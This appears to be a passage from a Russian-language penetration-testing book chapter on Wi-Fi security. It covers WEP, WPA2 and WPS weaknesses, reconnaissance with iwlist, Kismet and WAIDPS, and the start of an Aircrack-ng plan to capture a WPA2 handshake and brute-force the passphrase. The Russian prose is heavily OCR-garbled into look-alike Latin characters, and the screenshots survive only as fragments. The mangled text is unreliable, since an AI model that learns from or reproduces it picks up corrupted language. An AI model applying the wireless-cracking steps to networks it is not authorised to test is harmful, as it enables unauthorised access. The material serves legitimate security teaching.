cemu (LAN). OcHOBHOe BHUMaHUE CIEIUATNCTOB COCPEOTOUEHO HA UeHTU(UKATIN
11eJIeBOH CeTH U TTOJIyYeHNUH JOCTYTIA.

O630p cTtaHaapTa IEEE 802.11

[Tepeonpeaes oM CTaHAaPTOM, PETYJIUPYIOMIIM OECIPOBOAHYIO CETh, IBJSETCS
IEEE 802.11. 3tot Habop mpasu ObLI BIiepBbie paspaboTaH st yaA0O6CTBa HCIIOIb30Ba-
HUST ¥ BO3MOKHOCTH GBICTPOTO TIOJKIIOYEHHsT YCTPOHCTB. B epBoHAYaTbHBIX cTaHAap-
Tax, onybsmkoBaHHbIX B 1997 rozy, Borpockl 6e301acHOCTH He paceMaTprBanch. C Tex
HOP B CTAaHIAPTHI ObIIIM BHECEHBI TIOTIPABKH, TIEPBasi U3 KOTOPIX OKA3aJ1a 3HAYMTEIbHOE
BJgHME Ha GecripoBoaiyio ceth crangapra 802.11b. 91o manboJiee pacipocTpaneHHbIi
CTaHAAPT, KOTOPBIH ObLT BHeApeH B 1999 roxy.

[Mockombry cranpapt 802.11 ucrmoab3yeT paioCUTHADI, B ONIPEIEIEHHBIX PErHOHAX
MPElyCMOTPEHBI Pa3INYHbIe 3aKOHBI U TIPABUIIA, KacAouecss paboThl 6eCTpOBOIHBIX
cereil. B 11eJ10M, OJTHAKO, ECTh TOJIBKO HECKOJIBKO THUITOB 3JIEMEHTOB YIIPaBJIeH st Oe301ac-
HOCTBIO, BCTPOEHHBIX B cTanmapT 802.11, u cBsi3aHHbIE ¢ HUM TIOMTPABKH.
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MNpoTokon 6e3onacHoOCTH
6ecrnpoBOAHbIX NOKaNbHbIX CETEN

[Tporokos 6esonacHocTr GeCPOBOAHBIX JOKaMbHBIX cereil (WEP) 6bL1 epBbiM cTaH-
JHapToM 6e301acHOCTH, pa3paboTaHHbIM B coueTanuu co crangapramu 802.11. Buepsbie
BHeApeHHbIN B 1999 romy Hapsay ¢ nepBoii mupoko npuHsAToi ureparueii 802.11,
WEP 6511 paspaboran, 4ToObI 00eCIeYnTh YPOBEHb 0€30IIaCHOCTH, XaPAKTEPHBIN I
IIPOBOAHBIX ceTeil. ITO GBLIO CIEJAHO ¢ UCIIONb30BaHneM KoMOuHatmu mudpos RC4
1 obecniedenns konuaenuanbrocTy 1 mudpos CRC32 s obecriedenus 1enoct-
HOCTH.

Ayrenrudurkaiusa B ceru WEP Boinosasiercs ¢ nomoinpbio 64- niau 128-6urHoro
KJoua. 64-paspsIHBII KJII0Y TIpe/icTaBsieT coO0l ueThipe mocae/J0BaTebHOCTH U3
JIECSITH [IECTHA/IIATEPUYHBIX CHMBOJIOB. 3aTeM 9TH HadasibHbie 40 GUT 0O bETUHSIIOTCST
¢ 24-6utHbIM 8ekmopom unuuuarusavuy (IV), KoToppiii popMupyer Kiod mndpoBaHus
RCA4. Tt 128-6urHoro kitoua 104-6uTHbIN K04 wiin 26 1ecTHa/IIaTePUIHBIX CUMBO-
JIOB 00bennHs0TCS ¢ 24-6utHbiM IV 115t co3panust kioua RC4.

Ayrenrudukarus B 6ecripoBogHoil cetn WEP ponsBoanTCs B 4eThIpe sTala.

Kuiuent ornpasiiser 3anpoc Touke noctyna WEP s mpoBepku OAJIMHHOCTH.
2. Touxa gocryna WEP oTipasJisier KIMeHTY TEKCTOBOE COOOIIEHME.,

Kient Geper Besernsbiil kiatoud WEP, mmdpyer nepeaHHoe TOUKOI 0CTYyTIa TEK-
CTOBOE COOBIIEHNE, TIOCTIE YeTO OTTIPABIISIET €TO HA TOYKY OCTYTIA.

4. Touka gocrytia pacuudpoBbIBaET OTIPABIECHHOE €l coolbienne, 3ainbpoBaHHOE
KJIMEHTOM C TIOMOIIbIo coOcTBeHHOoro kaoda WEP. Eciu coobuienne pacimdpo-
BaHO MMPABUJILHO, KIIMEHTY Pa3penieHo MOAKIIOUNTHCS.

Kaxk pacckasbiBasioch patee, npu paspaborke WEP 3agaua koHGUAEHINATBHOCTH
U LEJOCTHOCTU coobumennii He Gblia ocHoBHON. B pesynbprate WEP monyunn nse
KJTIOU€eBbIe ysI3BUMOCTH. Bo-11epBbIX, rinaBHas 11esb anroputma CRC32 — kontposibHast
CyMMa, II03BOJII0MmAsT u3bexaTh omuboK, a He mudpoBaHue Kak TAKOBOe. Bo-BTODEIX,
RC4 BocripuumuunB K TOMY, UYTO HA3bIBAIOT BEKTOPHOU aTakoil mauiranusamuu. Ataka [V
BO3MOJKHA M3-3a TOro, uTo mudp RC4 npepnazunaven jis mudpoBaHus MOTOKa 1, KaK
CJIEJICTBYE, OJIUH ¥ TOT JK€ KJIIOU HeJIb3sI MCIIOJIb30BATh JABAKIbL, 24-OUTHBII KJIFOY CIIHIII-
KOM KOPOTOK JIJIsI 3aTPysKeHHOH GectipoBoaHoit cetu. [Ipumepto B 50 % cirydaes TOT jke
IV Gyner ucrosb3oBarbes B 6eCIPOBOAHOM KaHasie CBsi3H B mpeaesax 5000 Bapuariuii.
ITO NpUBEIET K KOJJIM3KH, B pesyJbrare Kotopoil IV u Bech kitod WEP MoryT 6bITh
OTMEHEHBI.

N3-3a yassumocteit 6ezomacroctt WEP B 2003 roay Hagas mocTemeHHo cBOpa-
YMBATBCA B [0JIB3Y Ooslee Ge30IacHbIX OeCIIPOBOAHBIX peaansannil. B pesyibrare Bbl,
CKOpee BCEro, He CTOJIKHETECh ¢ TOUKaMU JOCTYIIa, paboTalommuMu Ha 6ase IPOTOKoJIa
WEP. Ho BbI MOXKeTe OGHAPYKUTH YCTAPEBINYIO CETh, B KOTOPOIl €Ille UCIOJIb3yeTCst
ATOT HEAKTYAJIbHbII TIPOTOKOJL.
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3awmieHHbIn goctyn Wi-Fi (WPA)

[Tpu peanusaruu Gecripooauoii cetu WEP craugapter 6esonacuoctu 802,11 6buiu
0GHOBJIEHBI C YYETOM HOBBIX ysi3BUMOocTeil. Takoe 06HOBICHIE 06eCTIeunio GOTbITYIO
cTereHb KOH(MUIEHTTHATLHOCTH 1 TIETTOCTHOCTH GECTIPOBOIHBIX CeTel. ITO OBITIO CIETAHO
B cootBeTcTBIM cO ctangaptoM Wi-Fi Protected Access (WPA), Kotopbiii ObLI BIiepBbie
peasmszosad B 2003 roxy B crangapre 802.11i. WPA OblL1 10II0JIHUTENbHO 0OHOBJIEH
10 WPA2 B 2006 rozy, TeM caMbIM CTaB CTAHAAPTOM JIJISI ceTel 3alUIIeHHOTO JOCTYIa
Wi-Fi. WPA2 paspabotan B TpeX PasHBIX BEPCHUSIX, KAyK/ast M3 KOTOPBIX [IPELyCMaTPU-
BaeT CBOM COOCTBEHHBIEC MEXaHU3MbI Ay TEHTU(DIKATIUHL.

O WPA-Personal. IToaximouenue k 6ecripoBoaroii cetr tuiia WPA2 uacto Berpeyaercst
B JKUJIBIX TIOMENIeHUsIX Win HeGoubiux opucax. WPA2 1cIonb3yer npeaBapuTeib-
HBII OOIIUI KJTF0Y, KOTOPBIiT SIBJISIETCSI TPOU3BOIHBIM OT KOMOMHAIIUH KOJIA IOCTYIIa
u udenmuuxamopa (SSID, Service Set Identifier) GectipoBORHOI ceTr. TOT KO Ha-
CTpPaMBAETCS MTOJIB30BATEJIEM, U JITTITHA €0 MOJKET COCTABJIATH OT 8 110 63 CHIMBOJIOB.
3areM 3TOT KoJ fioctyma BMecTe ¢ 4096 B3auMOCBSA3sIMU aJITOPUTMA XEITUPOBAHUS
SHA1 nobasasiercs k SSID.

O WPA-Enterprise. B xopriopatusnoii Bepcun WPA/WPA2 ucnionb3yercst cepsep
nposepku nouHHocT RADIUS. 970 no3Bosisiet ayTeHTUMUIMPOBATH 110JIb30Ba-
TeJIs U YCTPOICTBO, UTO 3HAUYNTENHHO YMEHBIIIAET BOSMOKHOCTb TIPEIBAPUTETBHOTO
mo6opa KI0YeH ¢ TTOMOTIBIO TPYOOI CHITBL.

O Wi-Fi Protected Setup (WPS). CeTb Takoro THUIIA MIPEIOCTABIISIET YIIPOIIEHHDIN
BapuUaHT ayTeHTUUKAINY, IPU KOTOPOM BMECTO 11apoJIisl UM CeKpeTHOH (hpaspl
ucnosbsyercst PIN-koz. TTonauany sToT BapuaHT pazpabarbiBajcs Kak Hanbosee
POCTOM €rocob MOAKITIOUEHUs yCTPOiieTB K GecriposopubiM ceTsiM. Ho B miporiecce
9KCIIyaTalll{ CTAJIO SICHO, YTO 3allUTa TAKOTO PO/ia HeHa/[eKHA. 37I0yMBIIIJIEHHUK
MOJKeT MoTydnTh Kak PIN-Koz, Tak 1 KOz 1oCTyna, NCIIOIb3yeMbIi yCTPOMCTBOM LISt
MOJIKJTIOYEHUsT K OECTIPOBOTHOM CETH.

[l Hamux 1esreil Mbl COCPEIOTOUNMCST Ha TECTUPOBAHUN BEPCUI TIOMKIIOYCHUS
WPA-Personal u WPS. ITpu ucniosnbzoBaru WPA-Personal ayrenTudukaims u mm-
(bposanue 06pabdaThIBAIOTCS € IOMOIIBIO YETBIPEXCTOPOHHEr0 pyKomoKaTust (puc. 11.1).

1. Touka moctyna nepemaer KJIUEHTY cJaydaliHoe yncio, HazbiBaeMoe ANonce.

2. KiueHT co3maet apyroe caydaiiHoe uncio, HazbiBaemoe SNonce. SNonce, ANonce
U BBEJIEHHDIN [T0JIb30BATEIEM KOJ[ I0CTYIIA OOBEAUHSIOTCS [IJIs CO3/IaHSI TAK HA3bI-
BaeMoii nposepku uerocmmocmu coobuenuti (MIC). MIC u SNonce oTIpaBJistioTcst
06paTHO TOYKE OCTYIIA.

3. Touka nocryna xemmpyet kiiou ANonce, SNonce u nipeiBapuTebHbIi 0611110~
CTYIIHBIA KJTIOY U, €CJIW OHW COBIIQ/IAI0T, AyTeHTU(GUITNPYET KINeHTa. 3aTeM OHa
OTIIPABJISET KJIOY MMU(DPOBAHUSA KJIUEHTY.

4. KimeHT oATBep:KIaeT KI0Y MU(POBAHMSI.
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Puc. 11.1. YeTbIpexCTOpoHHEE pyKonoxaTne
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> C

N

N

B noaxmouenun tuma WPA-Personal ecTb nBe KiTioueBbie ySI3BUMOCTH, KOTOPbHIE
MBI ceif9ac M paCCMOTPUM.

Q Caaowiii 06muii kmou. [Tpu moakarouennn WPA-Personal mosmb3oBaTesib 101KeH
HACTPOUTD IIAPAMETPBI TOUKH J0CTYIA. HaCTO 1M0JIb30BATEN i1 TOTO UCIIOJIB3Y-
0T KOPOTKUH, IPOCTON 1 XOPOIIO 3alIOMUHAIOIIIECS mapoJib. Kak OBLIO MOKa3aHOo
paree, eCcTh BOBMOYKHOCTD «OOHIOXAaTh» TPahUK MEKLY TOUKON JOCTYIIA U KIMEHTOM.
Ecsmit MBI CMOJKEM TIepeXBaTUTh YETBHIPEXCTOPOHHEE PYKOTIOKATHE, ¥ HAac Gy/IeT BCs
uHbopmarus, HeoOX0IMast JIJIsI IlepexBaTa MapoJsis U ay TeHTU(DUKAINY B CETH.

Q WPS. Wi-Fi Protected Setup (sauumennas ycranoska Wi-Fi) — 910 yno0HbI 17151
KOHEUHBIX TI0JIb30BaTe el crocob MOAKIYEHUsT YCTPOICTB K GeCTPOBOIHON ceTH,
[IPU KOTOPOM JIuist TozikmoueHust npumensiercss PIN-koz. Takyio texHosoruio uacto
HCTOJIB3YIOT B IPUHTEPaX WM UTPOBBIX ycTpoiicTBax. [obp3oBaressb 10KEH JUTITb
Ha)KaTh KHOIIKY Ha TOYKe I0CTYIIA ¢ roznep:kkoit WPS, a 3atem Ha ycTpoiicTBe, o1-
nepskuBatorieM WPS, — u coenunenue Oyjer ycranosieno. Hepoctatkom Takoro
METO/IA TOJIKJII0UEHUST IBJISIETCSI TO, YTO Ay TEHTH(MUKAIIMS BBITOJIHIETCS C IOMOIIIBIO
PIN-kopa. IIpu arake arotr PIN-koa MmozkeT oTKpbITh He Tosibko PIN-kox WPS, no
U KOJI IOCTYTa K GECITPOBOHOMY YCTPOUCTBY.

Pa3sBeaka B 6€CcnpoBOAHON CETH

Kak u nipu TecTupoBaHNM Ha NPOHUKHOBeHUe uepe3 VIntepHer, /s ujeHTUudUKa-
11U 1ieJIeBOi OeCIPOBOIHOI ceTH cHavyasa HeOOXOAUMO IIPOBECTU PEKOIHOCIUPOBKY.
B otnmume oT ceTeBOTO MOAKIIIOUEHUS, 37ICCh MBI TaKKe JIOJIKHBI TADAHTUPOBATD, UTO
He OyzeM TPOraTh CeTh, KOTOPYIO He MMeeM IipaBa TecTupoBarth. [Ipy TecTUpOBaHUN
GEeCIIPOBOAHOIO COEAUHEHNSI 9TO CTAHOBUTCS OYeHb BasKHON 1pobaemoii. [eo B TOM,
YTO CYLIECTBYIOT OECIIPOBOIHBIE CETH, IIEPECEKAIOLINECs ¢ LieIeBoii. JTa mpobiieMa 0co-
GeHHO aKTya/lbHa B TEX CJydasX, KOIJa lejieBas OpraHusalus 1 CBA3aHHble ¢ Hell ceTu
pacrosioxeHbl B 0(MCHOM 3/[aHUN.
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AHTEHHBbI

[Tepen TecTupoBaHeM OECIIPOBOAHOTO MPOHUKHOBEHUS B IIEPBYIO OYepeb HYKHO
BbIOpaTh aHTeHHBI. JacTO BUPTyabHbIE MAIIMHDBI U HOYTOYKU He OCHAIEHbI OeCcIpo-
BOJIHBIMM KapTaMU U aHTeHHAMH, TTO3BOJISTIONIUMHY TIPOBECTU TECT Ha TIPOHUKHOBEHUE.
B Takom ciryuae BaM TIPUAETCS TPUOOPECTH BHEIIHIOW aHTEHHY, KOTOPASI TIOJIEPKI-
BaeTcs BalluM 000pyAoBaHKeM. BOJIBIIMHCTBO TAKMX aHTEHH MOYKHO JIEFKO KYIUTh
B lHTepHEeTE 110 yMEPEeHHO 11eHe.

Iwlist

B Kali Linux BCTpoeHbI HECKOJIBKO HHCTPYMEHTOB, KOTOPbhIE MOKHO MCIIOJIb30BATh /IS
upeHTHGUKaI 6eCpOBOIAHBIX ceTell. OHUM U3 MOMYJISIPHBIX SIBJISICTCSI HHCTPYMEHT
iwlist Linux. 9Ta KoMaH/a nepedncsier 6eCpoBOIHbBIE CETH, OCTYIHBIE B TIPEIeIaxX
JMariasoHa GECIIPOBOIHON KapThl. 3allyCTHTE TEPMUHA U BBEANUTE B KOMAHIHYIO CTPOKY
caemyroliee:

# iwlist wlan@ scan

Ha sxpane B yBunnre Takoit otset (puc. 11.2).

root@kali:~# iwlist wlan0@ scan
wlang Scan completed :
Cell @1 - Address: 44:84:FC:37:10:6E
Channel :6
Frequency:? 437 GHz (Channe
Quality=78/78 Signal leval
Encryption key:on
ESS1ID:"Aircrack _Wifi"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 1B Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
Mode :Master
xtra:tsf=0000000CL9c916cB
xtra: Last beacon: 104ms ago
: Unknown: G0ED416972637261636B5F57696669
: Unknown: G10882840B162430486C
: Unknown: 038106
: Unknown: ZAG168
: Unknown: 2FE1E
: lEEE BO2.11i/WPA2 Version 1
Group Ciphar : CCMP
Pairwise Ciphars (1) : CCMP
Authentication Suites (1) : PSK
E: Unknown: 32048C121868

Puc. 11.2. OTBeT Ha koMaHay iwlist wlan0 scan

Xo0T4 3TO MPOCTOM MHCTPYMEHT, OH TIPEAOCTABISAET HYKHYIO U M0JIe3HY10 nH(MOP-
Maruio, HanpuMep uaeHTubukaTop Habopa 6azosbix yciayr (BSSID) win MAC-aznpec
6ectipoBosiHoil Toukm goctyia (MAC-aapec HaMm MOHALIOOUTCS TIO3Ke), TUIT Ay TEHTHU-
(pukanum u mmdpoBaHms, a TaKKe IPYTYIO BAKHYTO MHMOPMAIIHIO.
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Kismet

Kismet Takske ycranossen B Kali Linux 2 110 ymMosyaturo u pezcrasisieT co0oii cMech
6ecripoBosiHoro ckaHepa, IDS/IPS u makerHoro anaimisaropa tpaduka. HanucanHbiit
Ha C++, Kismet npeziaraer gomnonHuTe bHbIE (DYHKIIUU, KOTOPbIe 0OBITHO HE BCTPe-
Yal0TCS B MHCTPYMEHTAX, 3aIlyCKaeMbIX U3 KOMaHAHOM cTpoku. UTo6bl 3amyCTUTD
Kismet, BbiOepuTe KOMaHLy OCHOBHOIO MeHto Applications » Wireless Attacks b Kismet
(ITpunoxkernns » becipoBogubie ataku » Kismet) nim BBeinTe B KOMaHAHYIO CTPOKY
TepMUHAJIA CJIEYIONYI0 KOMaH/Iy:

# kismet

[Tocste ee BeIMOTHEHNST Ha 9KpaHe mosgBuTcs okHOo Kismet (puc. 11.3). /las aToro
OKHa IIPeyCMOTPEHbI pasJndHbie 1BeToBble cxeMbl. Coobienre 00 9TOM Bbl YBUUTE
B TEPMUHAJIE,

Kismet
Mot
Connected

correctly. The

Is it visible? If you answer 'No', dark

will not be used in the default color scheme. Remember, you
colors to your taste by going to

will attempt to rec e in 5 seconds.

1d not con Kismet server 'l i 501"
will attempt to o 5 seconds.

Kismet server :
(Connection refused) will attempt to e 5 seconds.

Puc. 11.3. OkHo Kismet

Econ BbI BUupinTe TepMuHa 6€3 MOMEX U UCKaKEHWIA, BbIOEPHUTE BapUAHT Yes.

Yro6sl Kismet cMor nmpoBecTr aHaIN3, eMy HYKHO yKasaTh HCTOYHHUK. DTO OyaeT
6ecripoBozHoii uarepdeiic ameit Kali Linux. Yrobb! HailTi sT10T HHTEpdEIic, BBEUTE
B KOMaH/IHYIO CTPOKY KomaHjy ifconfig. nrepdeiic, naunnaronuiicst ¢ WLAN, SIBJISIETCST
6ecriposoanbiM (puc. 11.4).

Y1ob6bI MOSKHO OBIJIO BBIOPATh BapuaHT Yes, HaskMuTe Kaasuiiy Enter, Ha sxpane mosisur-
Cs1 CJIeLYIOTIUI JIUAJIOT, B KOTOPOM BBOJUTCS nnTepdeiic 1jist ckanupoBanust. [IockosbKy
Hamt uatepdeiic Ha3pIBaeTCsT wlan0, BBOMM €ro UMsl, KaK TIoKa3ano Ha puc. 11.5.
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—HKismet Server Consol

ERROR: Could not open OUI file '/fusr/share/wireshark/wireshark/manuf': No
such file or directory

INFO: Opened 0OUI file '/usr/share/wireshark/manuf

INFO: Indexing manufacturer db

INFO: Completed indexing manufacturer db, 27350 lines 547 indexes

INFO: Creating network tracker...

ERROR: Reading config file '/root/.kismet//ssid map.conf': 2 {No such file or

ERROR: Readin[j—Mo sources ile or dire

INFO: Creatin :

INFO: Registe

INFO: Pcap lo

INFO: Opened

INFO: Opened

INFO: Opened

INFO: Opened

INFO: Opened alert log file 'Kismet-20160617-19-29-18-1.alert’

INFO: Kismet starting to gather packets

INFO: No packet sources defined. You MUST ADD SOME using the Kismet
client, or by placing them in the Kismet config file
(/etc/kismet/kismet .conf)

INFO: Kismet server accepted connection from 127.8.0.1

Puc. 11.4. Mowuck nHtepcdeiica WLAN

—FKismet Server Conscle

ERROR: Could not open OUI file '/usr/share/wireshark/wireshark/manuf': No
such file or directory

INFO: Opened 0OUI file '/usr/share/wireshark/manuf

INFO: Indexing manufacturer db

INFO: Completed indexing manufacturer db, 27350 lines 547 indexes

INFO: Creating network tracker...

ERROR: Reading confjz—~Add Scource 2 (No such file or

ERROR: Reading conf such file or dire

INFO: Creating chan

INFO: Registering d

INFO: Pcap log in P

INFO: Opened pcapdu pcapdump’

INFO: Opened netxml txml'

INFO: Opened nettxt [ Add ]| ttxt'

INFO: Opened gpsxml sxml '

INFO: Opened alert rt'

INFO: Kismet starting to gather packets

INFO: No packet sources defined. You MUST ADD SOME using the Kismet
client, or by placing them in the Kismet config file
(/etc/kismet/kismet.conf)

INFO: Kismet server accepted connection from 127.8.0.1

Puc. 11.5. Beoaum ums nHtepdelica 6ecnpoBogHoOl ceTu
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Yro6s1 106aBUTH HHTEP(DEiic, HaxMuTe Kiaasuiny Enter. Ha arom arane Kismet
HauHeT coOUpPaTh TOUKU GecIpoBOAHOTO Hoctyna. byayr coopanst BSSID u kaHaubl,
KOTOPBIE MCTIOJIb3yeT Kask/ast Touka joctyna (puc. 11.6).

Networks
4

[l Packets Packets
417

Pkt /Sec
ILE]

Filtered
¢}

:00:00, encryption no, channel 8, 0.086 mbit

ccted new m aed network "", BSSID AG:CF:5B:6A:40:E2,
ryption ye channel 6, 54 mbit

cted new data network "<=Unknown=", BSSID 60:02:92:FC:
A, encryption no, channel @, 0.80 mbit

Puc. 11.6. BSSID cobupaeT nHbopMaLmMio 0 Kaxaoin Touke A0CTyna

HpOCMOTpeB OTBET Kismet, Bbl CMOJKETE ITOHATDb, KaK1e 6eCHpOBOlIHbIe CETH BUHDBI
Ballleil crcTeMe. Tenepb HOTpe6yeTCH OIIPpEAEJINTD TE 6eCHpOBO]_IHbIe TOYKH JOCTYIIAa,
KOTOPbIE ABJIAIOTCA YaCTbhIO TECTAa Ha IIPOHUKHOBEHHE.

WAIDPS

pyrum MHCTPYMEHTOM KOMaH/HON CTPOKH, KOTOPBII MBI MOJKEM HCIIOJIb30BATH IIPU
TECTUPOBAHWY HA TPOHNKHOBeHUe, sBJsteTcss WAIDPS. Heemorpst Ha To uTo aToT ciie-
Hapuii Python mpezcrasisier co6oii mnarhopmy o6HapysKeHWst BTOpKeHUIT 115t Gecpo-
BOJIHBIX ceTell, OH yiobeH u yist cbopa MHGOPMAITHK 0 6ECITPOBOTHBIX CETSIX M KIMEHTAX.
Yrobsl ucnosbzoBath WAIDPS, npocro ckavaiite cienapuii Python WAIDPS . py ¢ caiita
https://github.com/SYWorks/waidps.

[TocJte 3arpy3Ku TIOMECTUTE CIIEHApUT B TI0O0I KaTaJIor, a 3aTeM 3aIlyCTUTE €r0 C T0-
MOII[BIO CJIe/yIoNeil KOMaH/IbL:

# python waidps.py

[Tocsie BBITTOTHEHWST KOMAH/IBI HA 9KPaHe MOSIBUTCS OKHO BBITOJTHEHWS CIIEHAPUS
koHurypanmu (puc. 11.7).
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diting, Inlrusion Deteclion & Pravention System is a Ltool designed Lo harvesl all WiFL
tion de s) in your
re as a database for reterence. With the stored data, user can turther lookup for s
fic MAC or names for detailed information of
it relation Lo other C & sses. IL primarily purpose is to detecl wire ; allacks in WEP/WPA/WPS cncr

lso comes with an analyrer and viewer which allow user to turther probe and investigation on the intru
spicious pac 5 captu i al
(listing which allow user to monitor specific MACs/h ‘s activities. A1 informat
;aved inlo peap (iles

WAIDPS also E g WEP/WPA/WPS enabled access point.

Puc. 11.7. OkHo koHpurypauum WAIDPS

WAIDPS umeer ponosnutenbuyio ¢hyHKIINO, KoTOpas cpaBuuBaetr MAC-aznpeca
TOYEK GECITPOBOTHOTO IOCTYTIA C aJ[PECAMU TOUYEK JIOCTYIIA M3BECTHBIX TPOU3BOIUTEEH.,
Irta DYHKIMS 10JIe3Ha, eCJIN BBl 3HAETE, YTO KOHKPETHAS T[eJIb NCIOJIb3YET TOUKH JI0-
cTyma onpeseneHHoro mponsoautens (puc. 11.8).

7 ( Y/n) : [u prefer to download it now ?

Puc. 11.8. OnpegeneHne npou3BoauTeNs TOYEK JOCTyNa

[Tocre 3amycka HavampHON KoHDUTYpariun W AIDPS npegoctaBuT cricox Bcex Bu-
JIMMBIX M TOYEK TOCTYTIa 1 GECTIPOBOHBIX ceTelt. Kpome TOTo, BB yBUANTE HHANKATOP
PWR, ¢ momMoT1ipro KOTOpPOTo MOXKHO OTIPEIeTNTh YPOBEHb CUTHAJIA, TIePeIaBaeMOTo KOH-
KPeTHOH TouKo#t octyma. Yem Gimiske MaHHOe 3HAUYEHNE K HYJIIO, TEM CUTbHEE CUTHAI.
ITU CBEAEHVSI MOTYT OBITH TIOJIE3HBI, €CITH BAC MHTEPECYET KOHKPETHAST TOYKA TOCTYTIA.
Ecotit curnas crabplit, 3Ha9UT, BaM MOTPeOyeTCsT TPUOIN3UTECST K HY/KHOH TOYKE TOCTYTIA
(puc. 11.9).

[Momumo uaenTrduKay Touek 6ecrpoBoHoro foctyma, WAIDPS ymeet ckamm-
pOBAThH KIMEHTHI, Y KOTOPBIX MOKET OBITH OECTIPOBOHAS CBsI3h, HO KOTOPLIE HE CBSI-
3aHBI ¢ TOUKOH JocTyma. Jta HHGOPMAIII MOKET OBITH TMOJTe3Ha, €CIN BaM HYKHO
monzenath MAC-aapec, HCXOMANINI, KaK MOKET ITOKA3aThCs, OT 3aKOHHOTO KJINEHTA
(puc. 11.10).
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ENC  CIPHER WPS Ver

Puc. 11.9. NHaukatopbl PWR nokasbiBalOT 3HaYEHME YPOBHS CUrHana,
13/1ly4aemMoro TouKamu JocTyna

EDZSTATIONS

H e
: SWireless

TP LINK T

Puc. 11.10. NHdopmaums 0 Toukax AOCTyna u 6ecnpoBOAHON CBS3M

MHCTPYMEHTbI TECTUPOBAHMS
6ecnpoBoaHOM CETU

B cocras uncrpymenros Kali Linux BXOANUT HECKOJIBKO MHCTPYMEHTOB, PabOTAIONIMX
KaK M3 KOMaH/IHO CTPOKH, TaK 1 13 6a30BOro rpaduyeckoro nurepdeiica. ITu MHCTPY-
MEHTBI MOKHO HCIIOJIb30BATh JIJIsT TPe0OPA30BaHUsI CETEBOTO UHTEP(delica B ceTeBOi
MOHUTOP, 3axBata Tpadhuka U 06paTHOTO Maposist ayrentudukaiuu. [lepBoiil u3 aTux
MHCTPYMeHTOB, Aircrack-ng, npezcrasisier coboii Habop nHcTpyMeHToB. Kpome Toro, Mbl
pPacCMOTPUM U JAPYTHE MHCTPYMEHTBI KOMaHIHOH CTPOKHU U Tpadudeckoro naTepdeiica,
KOTOpBIE OXBATBIBAIOT BECh CIIEKTP 3a/1a4, CBA3AHHBIX C TECTUPOBAHUEM HA MTPOHUKHO-
BeHwe 1pu OeCIIPOBOTHOM COEJNHEHU.
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Aircrack-ng

Aircrack-ng — HaGop MHCTPYMEHTOB, KOTOPBIE MO3BOJISTIOT TECTEPaM Ha IPOHIUKHOBEHIE
POBEPSITH GE30TTACHOCTH OECIIPOBOAHBIX ceTei. TTakeT BKIOUaeT WHCTPYMEHTHI JIJIst
CITIeYIONINX 33/1a4.

O MOHMTOPHHT. JTO UHCTPYMEHTBI, pazpabOTaHHbIe CHENMATBHO /I 3axXBaTa Tpapuka
C 1IeJIbI0 OCIeAYIONIEro ananusa. [lasee Mbl paccMoTpuM GoJtee nogpo6HO, KaK C 10~
MOIIbIO HHCTPYMeHTOB Aircrack-ng saxsarbiBath 6eclipoBOAHOM TpaduK, KOTOPbIA
[037K€ MOKHO U3y4YHTb, UCIIOIb3Ysl APYrOe MPOrpaMMHOE 0becIIeueHue, HallpuMep
Wireshark.

O Araku. THCTPYMEHTBI [ aTaKW TEJIEBBIX ceTeil. B UX cocTaB BXOAST CPeNCTBa,
KOTOPBIE BBIIIOJHAIOT aTaKy BO BPeMs IIPOBEPKU JIAHHBIX 110JIb30BaTessl (ayTeH-
tudukaimn). Kpome toro, Aircrack-ng B MOMeHT aTaku ciocoGeH MTPOBOAUTH HHB-
eKIMU MAKETOB, OTIPABJAEMBIX B 6ECTIPOBOAHOI TIOTOK IJAHHBIX KAaK KJIUEHTaM, TaK
1 TOYKE JIO0CTYIIA.

O TectupoBanue. T UHCTPYMEHTHI TIO3BOJISIOT TECTUPOBATH OECIIPOBOIHBIE KAPTHI.

O Basiom. Aircrack-ng takike MOXKeT B3JaMbIBaTh TpeBapUTEIbHBIC GECTIPOBOIHbIE
koun, Haiinenusie B WEP, WPA 1 WPA2.

Kpome uncTpymMeHToB, paboTalonux B KOMaHIHOI cTpoke, Aircrack-ng ucnobsy-
eTcsl B psijie MHCTPYMEHTOB ¢ rpadudeckum uHTepdeiicom. TBep/i0e nmoHnManme Toro,
Kak paboraer Aircrack-ng, o6ecriednT MpOYHYIO OCHOBY JIJist TPUMEHEHMSI IPYTHX MH-
CTPYMEHTOB, KOTOPbIE MbI PACCMOTPHUM JIaJiee B 9TOH TJIABE.

Mcnonb3oBaHue obLiero knto4da ansg s3noma WPA

Bocnoabsyemcst HabopoM uHCTPyMeHTOB Aircrack-ng aya ataku Ha 6eCIIpOBOAHYIO
cetb WPA2. IIpornece BraogaeT B cebs naeHTudUKAIIIO Halllell EJIeBOM CeTH, 3aXBaT
YETHIPEXCTOPOHHETO PYKOIIOKATHS, a 3aT€M COCTaBJICHME CIIMNCKA CJI0B, KOTOPbIi Oy1er
UCIIOJIb30BaH [l B3JIOMa KOZA AOCTYIIA ¢ IPUMEHeHueM rpyOoil Cuibl. DTOT CIICOK
¢10B B couetanuu ¢ SSID GecIpoBOLHON CeTH OKaKETCs MPeABAPUTENbHBIM OOIIIM
K10490M. B3/10MaB Koz 1OCTyIIa, Mbl CMOKeM IPONTH ayTeHTU(hUKALIIO B LEeJeBoii Gec-
MIPOBOJTHOM CceTH.

1. Yb6eaurech, uTo Kapra 6eCIIPOBOJHOI ceTH BCTaBJeHa U MPAaBUJIbHO paboTaer.
[l aTOTO BBE/IUTE B KOMAH/HYIO CTPOKY CJIEAYIONTYT0O KOMAHY:

# iwconfig

Komanza noskHa BRIBECTH UTO-TO MOXOXKee Ha TO, 4TO TTOKa3aHo Ha puc. 11.11.
Eci 6ecripoBoHOI mHTEp(EliC He oToOpakaeTcs, yOeanTeCh, 4YTO OH MPABUIBHO
HACTPOEH.

3J1ech MBI OTIPeIENTUIIN Halll OecTipoBoiHON nuHTepdeiic kKak wlan0. Ecim y Bac B cetu

HECKOJIBKO HHTEP(EICcOB, BbI Takke yBuanTe wlanl, Y 6eiiutech, 9To BO BpEMSI TECTOB
BBI HCITOJIb3yeTe MPaBUJIbHBIN UHTEPdeiic.
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root@kali:~# iwconfig

wlang IEEE 862.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short 1limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:off

no wireless extensions.

no wireless extensions.

